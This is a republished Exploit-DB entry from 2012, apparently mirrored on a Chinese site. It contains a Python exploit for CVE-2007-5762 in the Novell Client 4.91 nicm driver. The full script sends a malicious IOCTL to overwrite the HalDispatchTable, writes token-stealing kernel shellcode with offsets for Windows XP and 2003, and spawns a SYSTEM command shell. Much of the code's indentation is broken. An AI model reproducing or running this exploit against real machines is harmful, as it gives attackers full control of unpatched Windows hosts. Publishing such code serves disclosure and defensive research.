Novell Client 4.91 SP4 – Local Privilege Escalation

  • 作者: sickness
    日期: 2012-05-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18914/
  • # Novell Client 4.91 SP3/4 Privilege escalation exploit 
    # Download link: http://download.novell.com/Download?buildid=SyZ1G2ti7wU~
    #
    # SecurityFocus: https://www.securityfocus.com/bid/27209/info
    # CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5762
    # Patch: http://download.novell.com/Download?buildid=4FmI89wOmg4~
    # 
    # Author: sickness@offensive-security.com
    # Version Tested: Novell Client 4.91 SP4
    # Targets: Exploit works on all service packs of Win2K3 and WinXP (except Windows XP SP1)
    # Thanks: 
    #		- g0tmi1k for helping me test out the exploit on as many versions of Windows as possible.
    #		- ryujin for the help while developing the exploit.
    
    from ctypes import *
    import sys,struct,os
    from optparse import OptionParser
    
    kernel32 = windll.kernel32
    ntdll= windll.ntdll
    Psapi= windll.Psapi
    
    def GetBase(drvname=None):
    EVIL_ARRAY= 1024
    myarray = c_ulong * EVIL_ARRAY 
    lpImageBase = myarray() 
    cb= c_int(1024) 
    lpcbNeeded= c_long() 
    drivername_size = c_long() 
    drivername_size.value = 48
    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) 
    for baseaddr in lpImageBase: 
    drivername = c_char_p("\x00"*drivername_size.value) 
    if baseaddr: 
    Psapi.GetDeviceDriverBaseNameA(baseaddr, drivername, 
    drivername_size.value)
    if drvname:
    if drivername.value.lower() == drvname:
    print "[>] Retrieving %s information." % drvname
    print "[>] %s base address: %s" % (drvname, hex(baseaddr))
    return baseaddr
    else:
    if drivername.value.lower().find("krnl") !=-1:
    print "[>] Retrieving Kernel information."
    print "[>] Kernel version: ", drivername.value
    print "[>] Kernel base address: %s" % hex(baseaddr) 
    return (baseaddr, drivername.value)
    return None
    
    if __name__ == '__main__':
    
    	usage ="%prog -o <target>"
    parser = OptionParser(usage=usage)
    parser.add_option("-o", type="string",
    action="store", dest="target_os",
    help="Available target operating systems: XP, 2K3")
    (options, args) = parser.parse_args()
    OS = options.target_os
    if not OS or OS.upper() not in ['XP','2K3']:
     parser.print_help()
     sys.exit()
    OS = OS.upper()
    	
    	GENERIC_READ = 0x80000000
    	GENERIC_WRITE = 0x40000000
    	OPEN_EXISTING = 0x3
    	DEVICE = '\\\\.\\nicm'
    	
    	device_handler = kernel32.CreateFileA(DEVICE, GENERIC_READ|GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
    	
    	(krnlbase, kernelver) = GetBase()
    	hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
    	HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
    	HalDispatchTable -= hKernel
    	HalDispatchTable += krnlbase
    	HalBase = GetBase("hal.dll")
    	print "[>] HalDispatchTable address:", hex(HalDispatchTable)
    	HalDispatchTable0x4 = HalDispatchTable + 0x4
    	HalDispatchTable0x8 = HalDispatchTable0x4 + 0x4
    	HalDispatchTable_0x14 = HalDispatchTable0x4 - 0x10
    
    	if OS == "2K3":
    HaliQuerySystemInformation = HalBase + 0x1fa1e # Offset for 2003
    HalpSetSystemInformation = HalBase + 0x21c60 # Offset for 2003
    
    else:
    HaliQuerySystemInformation = HalBase + 0x16bba # Offset for XP
    HalpSetSystemInformation = HalBase + 0x19436# Offset for XP
    
    print "[>] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
    print "[>] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)
    	
    	EVIL_IOCTL = 0x00143B6B # Vulnerable IOCTL
    	retn = c_ulong()
    	inut_buffer = HalDispatchTable0x4 - 0x10 + 0x3 # Make the pwnsauce overwrite
    	inut_size = 0x0
    	output_buffer = 0x41414141 # Junk
    	output_size = 0x0
    
    # Get offsets
    if OS == "2K3":
    _KPROCESS = "\x38" # Offset for 2003
    _TOKEN= "\xd8" # Offset for 2003
    _UPID = "\x94" # Offset for 2003
    _APLINKS= "\x98" # Offset for 2003
    
    else:
    _KPROCESS = "\x44" # Offset for XP
    _TOKEN= "\xc8" # Offset for XP
    _UPID = "\x84" # Offset for XP
    _APLINKS= "\x88" # Offset for XP
    
    # Restore the pointer
    pointer_restore = "\x31\xc0" + \
     "\xb8" + struct.pack("L", HalpSetSystemInformation) + \
     "\xa3" + struct.pack("L", HalDispatchTable0x8) + \
     "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
     "\xa3" + struct.pack("L", HalDispatchTable0x4)
    
    # Make the evil token stealing
    steal_token ="\x52" +\
     "\x53" +\
     "\x33\xc0" +\
     "\x64\x8b\x80\x24\x01\x00\x00" +\
     "\x8b\x40" + _KPROCESS +\
     "\x8b\xc8" +\
     "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
     "\x89\x1d\x00\x09\x02\x00" +\
     "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
     "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
     "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
     "\x75\xe8" +\
     "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
     "\x8b\xc1" +\
     "\x89\x90" + _TOKEN + "\x00\x00\x00" +\
     "\x5b" +\
     "\x5a" +\
     "\xc2\x10"
    
    # Build the shellcode
    sc = "\x90" * 100
    sc+= pointer_restore + steal_token
    sc+= "\x90" * 100
    	
    	if OS == "2K3":
    		baseadd= c_int(0x02a6ba10)
    		
    	else:
    		baseadd= c_int(0x026e7bb0)
    		
    	MEMRES = (0x1000 | 0x2000)
    	PAGEEXE= 0x00000040
    	Zero_Bits = c_int(0)
    	RegionSize = c_int(0x1000)
    	write= c_int(0)
    
    	dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE)
    	
    	if OS == "2K3":
    		kernel32.WriteProcessMemory(-1, 0x02a6ba10, sc, 0x1000, byref(write))
    	
    	else: 
    		kernel32.WriteProcessMemory(-1, 0x026e7bb0, sc, 0x1000, byref(write))
    		
    	if device_handler:
    		print "[>] Sending IOCTL to the driver."
    		dev_io = kernel32.DeviceIoControl(device_handler, EVIL_IOCTL, inut_buffer, inut_size, output_buffer, output_size, byref(retn), None) 
    	
    	evil_in= c_ulong()
    	evil_out= c_ulong()
    	evil_in= 0x1337
    	hola = ntdll.NtQueryIntervalProfile(evil_in, byref(evil_out))
    	print "[>] Launching shell as SYSTEM."
    	os.system("cmd.exe /K cd c:\\windows\\system32")